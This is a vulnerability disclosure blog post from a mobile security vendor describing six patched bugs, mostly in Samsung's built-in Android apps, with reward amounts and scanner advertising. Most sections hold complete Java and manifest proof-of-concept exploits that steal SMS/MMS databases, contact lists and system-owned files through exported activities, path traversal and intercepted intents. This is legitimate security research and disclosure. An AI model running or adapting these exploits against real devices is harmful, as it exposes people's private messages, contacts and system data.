/ ANDROID, SAMSUNG

Two weeks of securing Samsung devices: Part 2

As mentioned in the first part of this series, Oversecured spent two weeks finding security bugs in Samsung’s built-in apps. In this part, we will go over bugs that could have allowed an attacker to:

  • read & write arbitrary files in the name of the system
  • read arbitrary telephone-related files from the Android user’s phone, such as their call history and SMS/MMS
  • read & modify the user’s contact data
  • steal the user’s messages from the Samsung Messages app

Vulnerability table:

CVE SVE AFFECTED APP DESCRIPTION REWARD AMOUNT
CVE-2021-25426 SVE-2021-20903 Samsung Messages (com.samsung.android.messaging) Theft of arbitrary files $1050
CVE-2021-25410 SVE-2021-20702 CallBGProvider (com.samsung.android.callbgprovider) Read arbitrary files as system (UID 1001) user $2180
CVE-2021-25413 SVE-2021-20877 Samsung Contacts (com.samsung.android.app.contacts) Gaining access to arbitrary* content providers $2250
CVE-2021-25414 SVE-2021-20879 Samsung Contacts (com.samsung.android.app.contacts) Theft/overwrite of arbitrary files $2250
CVE-2021-25440 SVE-2021-20722 FactoryCameraFB (com.sec.factory.camera) Read/write arbitrary files as system (UID 1000) user $10310

Do you want to check your mobile apps for such types of vulnerabilities? Oversecured mobile apps scanner provides an automatic solution that helps to detect vulnerabilities in Android and iOS mobile apps. You can integrate Oversecured into your development process and check every new line of your code to ensure your users are always protected.

Start securing your apps by starting a free 2-week trial from Quick Start, or you can book a call with our team or contact us to explore more.

File theft in Samsung Messages

After scanning the Samsung Messages app, we received an alert about the possibility for theft of arbitrary files: vulnerability

We could pass an attacker-controlled URI through the SmsViewerData.f25878w field and the app would then save it to the /sdcard/Android/data/com.samsung.android.messaging/cache/ folder when the user pressed the Share message button.

To access arbitrary files, we used an unsafe content provider: vulnerability

Proof of Concept:

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    String fileName = "evil.mp4";

    SmsViewerData data = new SmsViewerData();
    data.f25878w = Uri.parse("content://com.samsung.android.messaging.ui.file/root-path/data/data/com.samsung.android.messaging/databases/message_content.db");
    data.f25879x = fileName;
    data.f25871p = 1;
    data.f25864i = 12;
    data.f25877v = "video/mp4";

    Intent i = new Intent();
    i.setClassName("com.samsung.android.messaging", "com.samsung.android.messaging.ui.view.viewer.SmsViewerActivity");
    i.putExtra("xms_viewer_data", data);
    startActivity(i);

    new Handler().postDelayed(() -> {
        String path = getExternalCacheDir().getAbsolutePath().replace(getPackageName(), "com.samsung.android.messaging");
        dumpFile(new File(path, fileName).getAbsolutePath());
    }, 15000);
}

private void dumpFile(String path) {
    ContentValues values = new ContentValues();
    values.put("_data", path);
    Uri uri = getContentResolver().insert(MediaStore.Files.getContentUri("external"), values);

    try (InputStream inputStream = getContentResolver().openInputStream(uri)) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        Log.d("evil", "Error", th);
    }
}

Since the latest Android versions do not allow accessing external cache files, we made use of the dumpFile method to bypass this protection in our PoC.

File theft from UID 1001 in CallBGProvider

The CallBGProvider provider is declared with the permission com.samsung.android.callbgprovider.PERMISSION, which is not properly protected:

<permission android:name="com.samsung.android.callbgprovider.PERMISSION" />

If android:protectionLevel is not specifically set by the developer, it gets defined as normal by default – which would allow any third-party apps to access the resource.

vulnerability

The above provider is also vulnerable to path traversal due to the use of Uri.getLastPathSegment(), which automatically decodes the value.

Proof of Concept for reading the database containing SMS/MMS messages.

File AndroidManifest.xml:

<uses-permission android:name="com.samsung.android.callbgprovider.PERMISSION" />

File MainActivity.java:

try {
    getContentResolver().call(Uri.parse("content://com.samsung.android.callbgprovider.media"), "get_gradation_contents", "", new Bundle());

    File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephony", 0).dataDir, "databases/mmssms.db");
    Uri uri = Uri.parse("content://com.samsung.android.callbgprovider.media/videos/..%2F..%2F..%2F..%2F..%2F.." + Uri.encode(dbPath.getAbsolutePath()));

    try (InputStream inputStream = getContentResolver().openInputStream(uri)) {
        Log.d("evil", IOUtils.toString(inputStream));
    }
} catch (Throwable th) {
    throw new RuntimeException(th);
}

The code in CallBGProvider.call() helps create directories like videos, images, etc., which don’t exist by default. Therefore, if getContentResolver().call() wasn’t present in our PoC, then calling ParcelFileDescriptor.open() would have thrown a FileNotFoundException error.

File theft and writing to Samsung Contacts

The activity com.samsung.android.contacts.editor.SetProfilePhotoActivity in the Samsung Contacts app is exported. Moreover, it also accepts two attacker-controlled URIs:

  1. shared_photo_uri for getting content
  2. temp_photo_uri for saving content

vulnerability

To access arbitrary files, we used the content provider com.samsung.android.scloud.oem.lib.ClientProvider with the authority com.samsung.contacts.backup. This, in turn, provided us with read/write access to arbitrary files specified in the path section of the URI.

Proof of Concept for file theft.

File AndroidManifest.xml:

<provider android:name=".MyContentProvider" android:authorities="oversecured.evil" android:exported="true" />

File MainActivity.java:

String path = new File(getApplicationInfo().dataDir, "dump").getAbsolutePath();
String theft = "/data/data/com.samsung.android.app.contacts/shared_prefs/SamsungAnalyticsPrefs.xml";

Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoActivity");
i.putExtra("shared_photo_uri", "content://com.samsung.contacts.backup" + theft); // input
i.putExtra("temp_photo_uri", "content://oversecured.evil/?path=" + path); // output
i.putExtra("cropped_photo_uri", "");
i.putExtra("mimeType", "x");
startActivity(i);

new Handler().postDelayed(() -> {
    try (InputStream inputStream = new FileInputStream(path)) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}, 1000);

File MyContentProvider.java:

public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    try {
        return ParcelFileDescriptor.open(new File(uri.getQueryParameter("path")), ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_CREATE);
    } catch (Throwable th) {
        return null;
    }
}

Accessing arbitrary Content Providers in Samsung Contacts

This attack uses the same activity (com.samsung.android.contacts.editor.SetProfilePhotoActivity) as the previous vulnerability.

The flow of this attack looks like this:

  1. An invalid URI is specified by an attacker in temp_photo_uri
  2. The app automatically launches an implicit intent with the Intent.FLAG_GRANT_READ_URI_PERMISSION & Intent.FLAG_GRANT_WRITE_URI_PERMISSION flags
  3. The attacker-controlled value in cropped_photo_uri is passed to the Intent’s ClipData.

vulnerability

When an attacker intercepts the implicit intent, they will automatically have read/write access to the URI.

Proof of Concept for reading a complete contact list.

File AndroidManifest.xml

<activity android:name=".PickerActivity">
    <intent-filter android:priority="999">
        <action android:name="com.android.camera.action.CROP" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:mimeType="*/*" />
        <data android:mimeType="image/*" />
        <data android:mimeType="test/1337" />
    </intent-filter>
</activity>

File MainActivity.java:

Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoActivity");
i.putExtra("temp_photo_uri", "/");
i.putExtra("cropped_photo_uri", ContactsContract.CommonDataKinds.Phone.CONTENT_URI.toString());
i.putExtra("mimeType", "test/1337");
startActivity(i);

File PickerActivity.java:

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    if ("com.android.camera.action.CROP".equals(getIntent().getAction())) {
        dump(getIntent().getClipData().getItemAt(0).getUri());
    }

    finish();
}

public void dump(Uri uri) {
    Cursor cursor = getContentResolver().query(uri, null, null, null, null);
    if (cursor.moveToFirst()) {
        do {
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < cursor.getColumnCount(); i++) {
                if (sb.length() > 0) {
                    sb.append(", ");
                }
                sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
            }
            Log.d("evil", sb.toString());
        } while (cursor.moveToNext());
    }
}

File theft and write from UID 1000 in FactoryCameraFB

The FactoryCameraFB app contained vulnerable code that allowed access to arbitrary* content providers: vulnerability

It should be noted that this app has a property called android:sharedUserId="android.uid.system", which makes it a system application.

As described in the vulnerability in Android Settings, we used a content provider in the com.sec.imsservice app, which provided access to arbitrary files: vulnerability

For testing, we used the file /data/system/users/0/settings_secure.xml (which has these permissions: -rw ------- 1 system system).

Proof of Concept, as a result of which the content of the file was printed to the logs.

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent();
    i.setData(Uri.parse("content://com.sec.internal.ims.rcs.fileprovider/root/data/system/users/0/settings_secure.xml"));
    i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    i.setClassName("com.sec.factory.camera", "com.sec.android.app.camera.CameraTestActivity");
    i.putExtra("testtype", "NCAMTEST");
    i.putExtra("arg1", "0");
    i.putExtra("arg2", "1");
    i.putExtra("arg3", "2");
    i.putExtra("arg4", "0");
    startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    try (InputStream inputStream = getContentResolver().openInputStream(data.getData())) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}

The vulnerability in Android Settings

In the previous article, we published information about a vulnerability in Android Settings for which we received a $2,000 award from Google AOSP.

The activity com.android.settings.wifi.WifiDialogActivity is exported (however, it requests the sender to have android.permission.CHANGE_WIFI_STATE permission). When a user clicks on the QR code scan icon, it launches an implicit intent and passes its activity result to its own setResult(code, attacker_controlled_intent).

Proof of Concept to access any system files on Samsung devices.

File AndroidManifest.xml:

<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<activity android:name=".PickerActivity">
    <intent-filter android:priority="999">
        <action android:name="android.settings.WIFI_DPP_ENROLLEE_QR_CODE_SCANNER" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>

File MainActivity.java:

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent();
    i.setClassName("com.android.settings", "com.android.settings.wifi.WifiDialogActivity");
    startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    try (InputStream inputStream = getContentResolver().openInputStream(data.getData())) {
        Log.d("evil", IOUtils.toString(inputStream));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}

File PickerActivity.java:

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent("evil");
    i.setData(Uri.parse("content://com.sec.internal.ims.rcs.fileprovider/root/data/system/users/0/settings_secure.xml"));
    i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    setResult(-1, i);
    finish();
}

Protect your apps today!

It can be challenging to keep track of security issues that appear daily during the app development process. Drop us a line and we'll help you automate this process internally, saving tons of resources with Oversecured.